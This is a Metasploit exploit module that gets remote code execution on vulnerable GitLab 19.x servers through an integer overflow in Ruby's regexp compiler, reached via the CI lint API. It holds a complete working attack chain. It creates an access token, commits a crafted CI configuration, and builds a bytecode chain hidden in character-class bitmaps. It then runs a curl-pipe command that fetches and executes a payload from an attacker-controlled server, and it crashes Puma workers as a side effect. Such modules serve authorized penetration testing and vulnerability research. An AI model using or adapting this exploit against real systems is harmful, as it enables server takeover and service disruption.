## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HTTP::Gitlab include Msf::Exploit::Retry prepend Msf::Exploit::Remote::AutoCheck # Fixed-width command slot in the subject's forged Onigmo stack data. Two more # bytes (" #") make the shell ignore the binary OP_CALL and its operand. COMMAND_SIZE = 28 # Native UTF-8 size of the lookbehind assembled in build_exploit, excluding OP_END. # These values and the stages below come from the original PoC: # https://github.com/jburgess-r7/CVE-2026-97229-PoC/blob/main/poc.py TARGET_BYTECODE_SIZE = 37_151 # OP_CALL addresses are relative to reg->p. The PoC's calibrated destination # reaches stage 3's bitmap at 16,866,665: 454 lookbehind-sized strides plus a # 111-byte adjustment for the pcode layout. Recalculate if the pattern changes. CALL_OFFSET = TARGET_BYTECODE_SIZE * 454 + 111 # Instructions are hidden in character-class bitmaps, then executed after the # compiler's signed branch displacement overflows. Operands are little-endian: # capture numbers occupy 2 bytes; lengths and jump displacements occupy 4 bytes. # OP_MEMORY_END writes the current subject pointer to mem_end_stk[index]. The # deliberately out-of-bounds capture numbers alias native match_at stack locals # in the supported builds; they are not real captures in the expression. # Opcode behavior: https://github.com/ruby/ruby/blob/v3_3_8/regexec.c STAGES = [ # Stage 0: PUSH_POS (0x4c) saves the subject position; ANYCHAR_STAR (0x18) # scans to the end; LOOK_BEHIND (0x52), 5 moves back five UTF-8 characters; # MEMORY_END (0x39), 2 saves that position; JUMP (0x3d), +18 enters stage 1 # by skipping 17 unused bitmap bytes and the next class's one-byte opcode. [0x4c, 0x18, 0x52, 5, 0, 0, 0, 0x39, 2, 0, 0x3d, 18, 0, 0, 0, 0], # Stage 1: MEMORY_END(1001 = 0x03e9) overwrites stk_end; POP_POS (0x4d) # restores the saved position; MEMORY_END(1000 = 0x03e8) overwrites stk. # ANYCHAR_ML_STAR_PEEK_NEXT (0x1b), '@' (0x40) scans with backtracking # positions at that marker; EXACT1 (0x02), '@' consumes it. JUMP +17 enters # stage 2 by skipping 16 unused bitmap bytes and the next class opcode. [0x39, 0xe9, 3, 0x4d, 0x39, 0xe8, 3, 0x1b, 0x40, 2, 0x40, 0x3d, 17, 0, 0, 0], # Stage 2: MEMORY_END(1026 = 0x0402) aliases another native stack slot; # MEMORY_START_PUSH (0x36), 10 writes a capture frame through the redirected # stk; MEMORY_END(1000) pivots stk again. FAIL (0x3c) unwinds into the fake # frame in the subject, where OP_CALL transfers execution to stage 3. [0x39, 2, 4, 0x36, 10, 0, 0x39, 0xe8, 3, 0x3c] ].freeze PCODE_LAYOUTS = { legacy: { name: 'legacy Ruby 3.3 native', # FinishCode 0x486da9 -> rb_vm_bugreport system call site 0x31ee29. # Count UTF-8 character boundaries, not the difference between addresses: # LOOK_BEHIND uses the encoding's step-back routine on native library bytes. system_step_count: 1_249_885 }, updated: { name: 'updated Ruby 3.3 native', # GitLab 19.4.1: FinishCode 0x4885a9 -> system call site 0x31e809. system_step_count: 1_256_138 } }.freeze VERSION_LAYOUTS = [ ['19.2', '19.2.8', :legacy], ['19.3', '19.3.4', :legacy], ['19.4', '19.4.1', :legacy], ['19.4.1', '19.4.2', :updated] ].freeze def initialize(info = {}) super( update_info( info, 'Name' => 'GitLab CI/CD RegExp Integer Overflow Remote Code Execution', 'Description' => %q{ This module exploits an integer overflow in the Ruby regular expression compiler through GitLab's CI lint API. An attacker with credentials for a user who can push to a public project plants a crafted CI configuration and repository path. An unauthenticated CI lint request then compiles the expression and executes a command as the GitLab git account. The module selects the native pcode and libruby layout for affected official GitLab CE and EE Docker images on Linux amd64. Each attempt allocates slightly more than 2 GiB and crashes a Puma worker after execution. GitLab 19.2 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 are affected. The official 19.3.4 package already contains the Ruby overflow fix and is not supported. Rebuilt packages and source installations may require different native layouts. }, 'Author' => [ 'joaxcar', # Vulnerability discovery 'Jonah Burgess', # Original PoC 'jheysel-r7' # Msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-97229'], ['URL', 'https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/'], ['URL', 'https://github.com/jburgess-r7/CVE-2026-97229-PoC'] ], 'Privileged' => false, 'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'RPORT' => 80, 'WfsDelay' => 60, 'FETCH_COMMAND' => 'CURL', 'FETCH_PIPE' => true, 'FETCH_SRVPORT' => 80, # FETCH_URIPATH names the pipe endpoint; FETCH_FILENAME names the binary. 'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1), 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1) }, 'DisclosureDate' => '2026-10-12', 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password for the specified username']), OptString.new('PROJECT', [true, 'Numeric ID or namespace/path of a public project writable by USERNAME']), OptInt.new('TIMEOUT', [true, 'CI lint request timeout in seconds', 60]) ]) register_advanced_options([ OptInt.new('BranchCleanupTimeout', [true, 'Seconds to retry payload branch cleanup while a Puma worker restarts', 30]) ]) end def check version = authenticated_version store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) return CheckCode::Safe("GitLab #{version} is not affected") unless vulnerable_version?(version) unless pcode_layout(version) return CheckCode::Detected("GitLab #{version} matches the advisory range, but includes a packaged Ruby compiler with the overflow fix") end report_gitlab_service(version.to_s) CheckCode::Appears("GitLab #{version} appears affected") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e elog('Authenticated GitLab version check failed', error: e) CheckCode::Unknown("Authenticated GitLab version check failed: #{e.message}") end def cleanup cleanup_payload_branch cleanup_access_token cleanup_gitlab_session ensure super end def cleanup_payload_branch return unless @branch && @project_id branch = @branch last_failure = nil last_error = nil result = retry_until_truthy(timeout: datastore['BranchCleanupTimeout']) do res = gitlab_api_request( method: 'DELETE', path: "projects/#{@project_id}/repository/branches/#{Rex::Text.uri_encode(branch, 'hex-all')}" ) case res&.code when 204 :deleted when 404 # The desired cleanup state is already present. :absent when nil, 429, 500..599 last_failure = res ? "HTTP #{res.code}" : 'no response' vprint_status("Payload branch cleanup failed with #{last_failure}; retrying") false else # Authentication and other permanent client errors should not consume # the retry window. last_failure = "HTTP #{res.code}" :failed end rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e last_error = e last_failure = e.message vprint_status("Payload branch cleanup failed: #{e.message}; retrying") false end if %i[deleted absent].include?(result) print_good(result == :deleted ? "Deleted payload branch #{branch}" : "Payload branch #{branch} no longer exists") @branch = nil @project_id = nil return end elog('Payload branch cleanup failed', error: last_error) if last_error print_warning("Unable to delete payload branch #{branch}; remove it manually: #{last_failure || 'cleanup timed out'}") end def cleanup_access_token return unless @access_token gitlab_revoke_personal_access_token(@access_token) @access_token = nil rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e elog('Personal access token cleanup failed', error: e) print_warning("Unable to revoke the temporary personal access token; revoke it manually: #{e.message}") end def cleanup_gitlab_session gitlab_sign_out if @authenticated rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, Rex::ConnectionError, Rex::TimeoutError => e elog('GitLab sign-out failed', error: e) print_warning("Unable to sign out of GitLab: #{e.message}") ensure @authenticated = false @authenticated_version = nil cookie_jar.clear end def exploit version = authenticated_version unless vulnerable_version?(version) fail_with(Failure::NotVulnerable, "GitLab #{version} is not affected") end layout = pcode_layout(version) unless layout fail_with(Failure::NoTarget, "GitLab #{version} has no supported native pcode layout; the official 19.3.4 package contains the Ruby overflow fix") end print_status("Using the #{layout[:name]} pcode layout for GitLab #{version}") pattern, payload_path = build_exploit(fetch_command, layout) @access_token = gitlab_create_personal_access_token fail_with(Failure::NoAccess, 'Unable to create a temporary personal access token') unless @access_token project = gitlab_project @project_id = project['id'] fail_with(Failure::BadConfig, 'PROJECT must be public') unless project['visibility'] == 'public' fail_with(Failure::BadConfig, 'PROJECT must have an initialized default branch') if project['default_branch'].blank? @branch = Rex::Text.rand_text_alpha_lower(12) benign_path = "#{Rex::Text.rand_text_alpha_lower(12)}.yml" actions = [ { 'action' => repository_file_exists?('.gitlab-ci.yml', project['default_branch']) ? 'update' : 'create', 'file_path' => '.gitlab-ci.yml', 'content' => ci_configuration(pattern, benign_path) }, { 'action' => 'create', 'file_path' => benign_path, 'content' => "included:\n script: ':'\n" }, { 'action' => 'create', 'file_path' => payload_path, 'content' => '' } ] print_status("Creating payload branch #{@branch}") res = gitlab_api_request( method: 'POST', path: "projects/#{project_api_path}/repository/commits", data: { 'branch' => @branch, 'start_branch' => project['default_branch'], 'commit_message' => Rex::Text.rand_text_alpha(12), 'actions' => actions } ) unless res&.code == 201 reason = res&.get_json_document&.dig('message') || "HTTP #{res&.code || 'timeout'}" fail_with(Failure::UnexpectedReply, "Unable to create payload commit: #{reason}") end print_status('Triggering unauthenticated CI lint request') res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'v4', 'projects', project_api_path, 'ci', 'lint'), 'cookie' => '', 'vars_get' => { 'content_ref' => @branch } }, datastore['TIMEOUT'] ) print_warning('The target stopped responding after payload delivery') unless res print_warning("CI lint returned HTTP #{res.code}; expected HTTP 502 after the Puma worker exits. Patched targets commonly return HTTP 200") if res && res.code != 502 rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError => e fail_with(Failure::NoAccess, e.message) rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::RequestTimeoutError => e fail_with(Failure::TimeoutExpired, e.message) rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e fail_with(Failure::UnexpectedReply, e.message) rescue Rex::TimeoutError => e fail_with(Failure::TimeoutExpired, "GitLab request timed out: #{e.message}") rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, "Unable to connect to GitLab: #{e.message}") end def authenticated_version return @authenticated_version if @authenticated && @authenticated_version unless @authenticated @authenticated = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']).present? raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError unless @authenticated end version_string = gitlab_version_rest unless version_string.present? raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError.new(message: 'Unable to identify the exact GitLab version') end @authenticated_version = Rex::Version.new(version_string) end def is_payload_compatible?(payload_name) payload_name.start_with?('cmd/linux/http/x64/') && super end def fetch_command unless datastore['FETCH_PIPE'] && datastore['FETCH_COMMAND'] == 'CURL' fail_with(Failure::BadConfig, 'Use FETCH_PIPE true and FETCH_COMMAND CURL for the 28-byte command slot') end # Keep the fetch adapter's server, resource path and command. curl can infer # HTTP without a scheme, and -s only suppresses progress output. Omitting both # saves 10 bytes. Drop the default port too, without changing other ports. # Space is checked after shortening, rather than rejecting the longer encoded # payload during generation with Payload['Space']. payload.encoded.sub('curl -s http://', 'curl ').sub(%r{:80/}, '/') end def gitlab_api_request(method:, path:, data: nil, vars_get: nil) options = { 'method' => method, 'uri' => normalize_uri(target_uri.path, 'api', 'v4', path), 'headers' => { 'PRIVATE-TOKEN' => @access_token } } options['vars_get'] = vars_get if vars_get if data options['ctype'] = 'application/json' options['data'] = JSON.generate(data, ascii_only: true) end send_request_cgi(options) end def gitlab_project res = gitlab_api_request(method: 'GET', path: "projects/#{project_api_path}") fail_with(Failure::Unreachable, 'GitLab did not respond while looking up PROJECT') unless res fail_with(Failure::NoAccess, 'PROJECT does not exist or USERNAME cannot access it (HTTP 404)') if res.code == 404 fail_with(Failure::NoAccess, "GitLab rejected the PROJECT lookup (HTTP #{res.code}); verify USERNAME has project access") if [401, 403].include?(res.code) fail_with(Failure::UnexpectedReply, "Unable to look up PROJECT: expected HTTP 200, received HTTP #{res.code}") unless res.code == 200 project = res.get_json_document unless project.is_a?(Hash) && project['id'].present? && project['visibility'].present? && project.key?('default_branch') fail_with(Failure::UnexpectedReply, 'GitLab returned an invalid project document while looking up PROJECT') end project end def repository_file_exists?(path, ref) res = gitlab_api_request( method: 'GET', path: "projects/#{project_api_path}/repository/files/#{Rex::Text.uri_encode(path, 'hex-all')}", vars_get: { 'ref' => ref } ) return true if res&.code == 200 return false if res&.code == 404 fail_with(Failure::UnexpectedReply, "Unable to inspect repository file #{path}") end def vulnerable_version?(version) [ [Rex::Version.new('19.2'), Rex::Version.new('19.2.8')], [Rex::Version.new('19.3'), Rex::Version.new('19.3.5')], [Rex::Version.new('19.4'), Rex::Version.new('19.4.2')] ].any? { |affected_low, fixed_version| affected_low <= version && version < fixed_version } end def pcode_layout(version) version_layout = VERSION_LAYOUTS.find do |minimum, maximum, _layout| Rex::Version.new(minimum) <= version && version < Rex::Version.new(maximum) end PCODE_LAYOUTS[version_layout&.last] end def project_api_path # PROJECT occupies one API path segment, including when it is namespace/name. Rex::Text.uri_encode(datastore['PROJECT'], 'hex-all') end def ci_configuration(pattern, benign_path) "include:\n - local: '/#{benign_path}'\n rules:\n - exists:\n regexp: #{JSON.generate(pattern)}\nbase:\n script: ':'\n" end def build_exploit(command, pcode_layout) if command.bytesize > COMMAND_SIZE fail_with(Failure::BadConfig, "Fetch command is #{command.bytesize} bytes; the maximum is #{COMMAND_SIZE}. Use a shorter FETCH_SRVHOST, FETCH_SRVPORT or FETCH_URIPATH") end # Stage 3 starts from the interpreter's existing FinishCode pointer, avoiding # an absolute ASLR address. LOOK_BEHIND walks system_step_count UTF-8 boundaries # backwards through libruby; MEMORY_END(1029 = 0x0405) overwrites the saved # return target with the resulting system call site. 'V' packs its 32-bit # unsigned operand in the byte order used by the Linux amd64 Onigmo build. stages = STAGES + [[0x52, *[pcode_layout[:system_step_count]].pack('V').bytes, 0x39, 5, 4]] # A class bitmap doubles as VM instructions. Pick a printable character whose # membership bit is set so the same bytes also pass normal class matching. # byte = codepoint / 8; bit = codepoint % 8. Search ASCII '0' through 'z'; # Both native layouts have a member in that interval; '~' is the PoC fallback. triggers = stages.map do |stage| (48...123).find { |codepoint| stage[codepoint / 8] & (1 << (codepoint % 8)) != 0 } || 126 end.map(&:chr).join # Keep seven single-byte letters and four trigger characters. Random letters # preserve the compiled length and offsets while varying the repository path. # Seven empty capture alternatives establish the capture/stack layout; eight # \K operations preserve the PoC's keep-position and bytecode arrangement. literal_prefix = Rex::Text.rand_text_alpha_lower(7) + triggers prefix = literal_prefix + '(|)' * 7 + '\\K' * 8 # Six word classes become large Unicode character tables when this ASCII # regexp is recompiled against the UTF-8 path. GitLab validates the smaller # US-ASCII program first; this later encoding conversion bypasses that size # check. Each following class encodes one stage in its bitmap. target_pattern = '(?<=' + '[[:word:]]' * 6 + stages.map { |stage| character_class(stage) }.join + ')' # Ceiling division of signed 32-bit INT_MAX by one lookbehind's native size: # ceil(2,147,483,647 / 37,151) = 57,805. Expanding the repeat produces # 2,147,513,555 bytes (0x800074d3), overflowing the compiler's signed int # size/displacement arithmetic. In compile_quantifier_node the int product # (tlen + SIZE_OP_PUSH) * upper also wraps negative, passing the <= 50-byte # expansion limit and selecting inline copies instead of a bounded repeat. # A wrapped branch then enters a stage bitmap. The Ruby implementation is at: # https://github.com/ruby/ruby/blob/v3_3_8/regcomp.c digits = ((0x7fff_ffff + TARGET_BYTECODE_SIZE - 1) / TARGET_BYTECODE_SIZE).to_s # Onigmo ignores the inline (?#) comment inside {5(?#)7805}, but GitLab's # repeat scanner does not recognize it as {57805}. The atomic alternative # (?>...|) supplies the overflowing branch. \A fixes the starting position; # contradictory \b\B assertions force failure/backtracking through the frame. pattern = "\\A(?>#{prefix}(?:#{target_pattern}){#{digits[0]}(?#)#{digits[1..]}}|)\\b\\B" # Keep the command/fake-frame boundary fixed regardless of command length. # The shell comment consumes the binary suffix when the gadget runs system. shell_text = command.b.ljust(COMMAND_SIZE) + ' #'.b # U+10400 is a word character encoded as four UTF-8 bytes (f0 90 90 80). # Fifteen copies make character-counted lookbehind and byte-addressed stack # operations land at the calibrated positions. The three 'A' bytes preserve # the fake frame's padding; '@' is the sentinel scanned by stage 1. These # lengths and bytes affect the pivot and cannot be randomized independently. # 0x58 is OP_CALL; 'CV' writes its one-byte opcode and 32-bit absolute pcode # offset. It transfers control from the subject back to stage 3's bitmap. subject = literal_prefix.b + "\u{10400}".b * 15 + 'AAA@'.b + shell_text + [0x58, CALL_OFFSET].pack('CV') subject.force_encoding(::Encoding::UTF_8) fail_with(Failure::BadConfig, 'Generated path has invalid UTF-8') unless subject.valid_encoding? [pattern, subject] end def character_class(payload) # Onigmo compiles a single-byte class into a 256-bit (32-byte) membership # bitmap. Only the lower 128 bits carry code here: limiting members to ASCII # leaves the upper 16 bytes zero and avoids multibyte class representations. # Pad the instruction bytes to 16, then invert bitmap generation: set bit n # becomes member codepoint n. Compiling that class recreates the stage bytes. bits = payload + [0] * (16 - payload.length) codepoints = bits.each_with_index.flat_map do |byte, byte_index| (0...8).filter_map { |bit| byte_index * 8 + bit if byte & (1 << bit) != 0 } end # Minimize the source expression to fit GitLab's 255-character regexp limit. # ']' can be literal first in a class and '-' literal last. Try all four # placements and keep the shortest equivalent spelling; membership and native # bitmap bytes remain identical regardless of the textual representation. candidates = [false, true].product([false, true]).filter_map do |move_hyphen, move_bracket| next if move_hyphen && !codepoints.include?(45) next if move_bracket && !codepoints.include?(93) remaining = codepoints.reject { |codepoint| (move_hyphen && codepoint == 45) || (move_bracket && codepoint == 93) } # Consecutive members can be represented as ranges. Three or more members # justify a range; shorter runs are emitted as individual escaped literals. groups = remaining.each_with_object([]) do |codepoint, result| if result.any? && codepoint == result.last.last + 1 result.last << codepoint else result << [codepoint] end end encoded = groups.map do |group| group.length >= 3 ? "#{escape_codepoint(group.first)}-#{escape_codepoint(group.last)}" : group.map { |codepoint| escape_codepoint(codepoint) }.join end.join "[#{move_bracket ? ']' : ''}#{encoded}#{move_hyphen ? '-' : ''}]" end candidates.min_by(&:length) end def escape_codepoint(codepoint) character = codepoint.chr # A literal NUL uses one regexp source character; JSON.generate serializes it # safely into the YAML configuration. This NUL is not in the repository path. return "\0" if codepoint.zero? # Escape class metacharacters; keep ASCII literal where possible to save # source length. Hex escapes preserve all other membership bits exactly. return character if codepoint.between?(1, 126) && !'-\\[]'.include?(character) return "\\#{character}" if '-\\[]'.include?(character) format('\\x%02x', codepoint) end end